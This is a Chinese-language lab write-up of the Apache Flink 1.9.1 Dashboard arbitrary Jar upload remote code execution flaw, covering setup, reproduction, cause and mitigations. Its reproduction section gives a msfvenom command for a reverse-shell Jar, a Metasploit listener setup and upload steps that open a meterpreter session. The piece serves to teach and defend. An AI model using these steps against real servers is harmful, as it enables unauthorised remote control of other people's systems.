Apache Flink 任意 Jar 包上传导致RCE漏洞
字数 1060 2025-08-18 11:39:08
Apache Flink 任意Jar包上传导致RCE漏洞分析与复现
漏洞概述
Apache Flink是一个分布式大数据处理引擎,可对有限数据流和无限数据流进行有状态计算。该漏洞存在于Apache Flink Dashboard页面中,攻击者可以上传任意Jar包,利用此漏洞在Apache Flink服务器中执行任意代码,获取服务器最高权限。
漏洞影响
- 影响版本:Apache Flink 1.9.1及之前版本
- 漏洞类型:远程代码执行(RCE)
- 危害等级:高危
环境搭建
测试环境配置
- 攻击机:Kali Linux (192.168.16.128)
- 靶机:Ubuntu (192.168.19.129)
- 漏洞软件:Apache Flink 1.9.1
安装步骤
- 安装Java 8+环境(Flink依赖)
- 下载Apache Flink 1.9.1:
wget http://mirrors.tuna.tsinghua.edu.cn/apache/flink/flink-1.9.1/flink-1.9.1-bin-scala_2.11.tgz - 解压安装包:
tar -zxvf flink-1.9.1-bin-scala_2.11.tgz - 启动Flink:
cd flink-1.9.1/bin ./start-cluster.sh - 验证启动:访问
http://靶机IP:8081,应能看到Flink Dashboard页面
漏洞复现
1. 生成恶意Jar包
使用Metasploit生成反向连接的Jar木马:
msfvenom -p java/meterpreter/reverse_tcp LHOST=192.168.19.128 LPORT=8888 -f jar > shell.jar
2. 设置Metasploit监听
msfconsole
use exploit/multi/handler
set payload java/meterpreter/reverse_tcp
set LHOST 192.168.19.128
set LPORT 8888
exploit
3. 上传恶意Jar包
- 访问Flink Dashboard (
http://靶机IP:8081) - 点击"Submit New Job" → "Add New"
- 选择生成的shell.jar文件并上传
- 点击"Submit"按钮执行
4. 获取Shell
成功执行后,Metasploit将获得一个meterpreter会话,可执行任意系统命令。
漏洞原理
Apache Flink Dashboard未对上传的Jar包进行有效验证,导致攻击者可以上传包含恶意代码的Jar文件。当这些Jar包被提交执行时,其中的恶意代码将在服务器上执行,从而实现远程代码执行。
修复建议
- 身份验证:为Flink Dashboard设置登录验证
- 文件校验:
- 对上传的Jar包内容进行严格校验
- 实现前端和后端的双重验证机制
- 版本升级:升级到官方发布的最新安全版本
- 网络隔离:将Flink服务部署在内网环境,限制外部访问
- 权限控制:运行Flink服务的用户应使用最小权限原则
补充说明
- 该漏洞利用不需要任何身份验证
- 攻击成功后获取的是运行Flink服务的用户权限(通常为系统最高权限)
- 该漏洞利用简单,危害性大,建议尽快修复
参考链接
- 官方安全公告:建议查看Apache Flink官方发布的安全公告
- 漏洞披露时间:2019年11月